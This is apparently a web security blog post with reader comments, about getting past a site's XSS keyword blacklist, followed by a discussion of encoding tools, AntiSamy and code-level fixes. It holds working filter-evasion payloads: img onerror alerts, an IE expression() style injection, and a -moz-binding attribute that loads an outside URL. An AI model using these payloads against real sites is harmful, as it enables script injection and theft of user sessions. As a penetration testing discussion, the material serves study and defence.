Blacklisting, XSS filter evasion and other resources
So the other day I was doing a web site review and looking for XSS issues. I came across one ASP form that used various URL parameters to make up parts of the form. Well, I poked around and and tried injecting the usual, <script>alert(’xss’)</script>. The page went straight to a 404 Not Found, so it must have been doing some kind of filtering. I tried using various cases of <script> and also UTF-8 encoding the script.
Nothing was working here, so I put in <scrpt> and the page worked, and I saw the tag was being inserted into the page. The page was doing filtering on the word script, so I knew I had to work around it somehow. What I ended up doing, was injecting an image tag that pointed to nothing, and an onerror event. Like so:
<img src="" onerror=alert(/xss/)>
And viola! XSS within five minutes. This was a pretty simple case, and the blacklist was not comprehensive at all, but it just goes to show there will always be ways around a filter. Also, be sure to use more than just a single browser when testing web applications for security flaws. Not every attack will work on Firefox and IE. Take the following that I used against a search page for IE only:
</XSS/*-*/STYLE=xss:e/**/xpression(alert(1337))>
On another page, “onerror” was being filtered, so I had to work around that. I needed something a little better, so I skipped the image and script tags, and went straight to the input tags. I ended up using:
" style="-moz-binding:url('http://h4k.in/')>
This brings me to a couple new resources I came across, thanks to .mario in #slackers IRC channel. During the development and ongoing testing of the PHP-IDS project, mario wrote this awesome PHP Charset Encoder. This interesting thread came up in our discussion as well, which is pretty cool and could be used in evading filters. If RTL looks familiar to you, like it did to me… Perhaps you’ve seen RSnake’s weird “Dolce & Gabanna” page? Right click > View source and take a look at some of the tags, one of them is RTL. Now to decipher the rest of that HTML code. hahaha. Oh, one last thing to wrap this post up… Don’t forget the XSS Cheat Sheet, also available in XML for use in your own scripts. It’s been really useful these past couple days.
Nice! The one with the onerror=alert is a nice option … well done! ;-)
Why not leaving the quotes away? works too :)
Greetings,
.mario
I meant:
<img/src onerror=alert(1)>
The form ate up the markup…
Marcin, I thought we already went over the RSnake HTML obfuscation. When you sent it to me, the first thing I did was load Web Developer Toolbar under Firefox with both View Source and View Generated Source options. The rest (besides RTL) becomes apparent almost immediately, including the character `I’ which he turns white, as well as the useless HRM, FONT, and TABLE tags.
Of recent note is Gareth Heyes’ Hackvertor XSS tool (I consider it a cross between .mario’s PHP Charset Encoder and the FishNet Security HTMangLe tool), the packer tool made available by Dean Edwards (I found out about this in the Web Application Hacker’s Handbook), and the Anti-Samy project at OWASP. I also just noticed Gareth Heyes has a new project, a JS/HTML Tag Inspector, which just gave me an idea on how to improve the WASC Script Mapping project.
One of my best resources for finding XSS has been the ASP.NET Content Encoding reference Excel spreadsheet that comes with the companion content from the Microsoft Press book, Hunting Security Bugs. If you have WAHH available, you can also check pages 580-581 for insight into using source code to find XSS vulnerabilities. Of special interest is to note that by knowing the framework and having the source code can be extremely useful for finding XSS, some of which may be nearly impossible to find through manual/automated black-box testing.
I’ve noticed a growing trend that people tend to think less of manual code review or automated source code security scanners, such as the recent GrumpySecurityGuy article on Source Code Scanning is Dead that you pointed me to. People also think that both source code and black-box scanners find “low hanging fruit”, especially XSS. I’ve met people who still feel that XSS is a medium or low rated vulnerability, to be included in reports “when nothing else can be found”. XSS isn’t taken seriously yet, and it’s considered to be “dealt-with” by using a secure framework. Most people would classify a framework “secure” just because it uses something like the Java Commons Validator. All of this is the farthest thing from the truth.
XSS is a highly critical issue. One only needs to look at AttackAPI or BeEF to realize the seriousness of this issue, and worse compare it to the number of active websites that have an XSS vulnerability. What’s funny is that after reading WAHH, I have a much lower opinion of DOM-based XSS, and an even higher opinion of reflected-XSS (although stored-XSS remains the nastiest vector of all of them). I also feel that no framework (not even HDIV) is going to prevent XSS throughout the entire application. Sure, improper validation can be the “root-cause” of SQLi and XSS - but these problems can’t be fixed by WAF’s or secure frameworks alone. They need to be fixed in the source, by using parameterized queries for all SQL, and proper-use of a validator on every application input along with proper validation/encoding on every application output (to combat all XSS). Then this needs to be verified with manual code review, regardless of the pen-testing involved.. In cases like MySpace where user-submitted HTML is allowed - there are projects like AntiSamy available, but these are not yet a panacea. Samy himself said that he already had ideas about how to beat AntiSamy, and I’m sure others are already charging their lasers.
Samy got to take a quick crack at AntiSamy before it was released and he couldn’t find anything because the normal attack vectors just don’t work - not that he had a whole lot of time. Samy beat a very good blacklist to death, and most of the other XSS tricks are based on canonicalization or recursion, i.e. script>, etc.
I’ve had some strong industry people look at AntiSamy including Jeremiah Grossman, Tom Stracener and others, and we haven’t had any XSS discovered yet. I sincerely hope that’s because it’s secure, but of course I’m not claiming it’s 100% reliable.
If you want to help us improve the policy file, take a crack at the test page I setup for anyone to access:
http://i8jesus.com:9080/AntiSamyDemoWebApp/test.jsp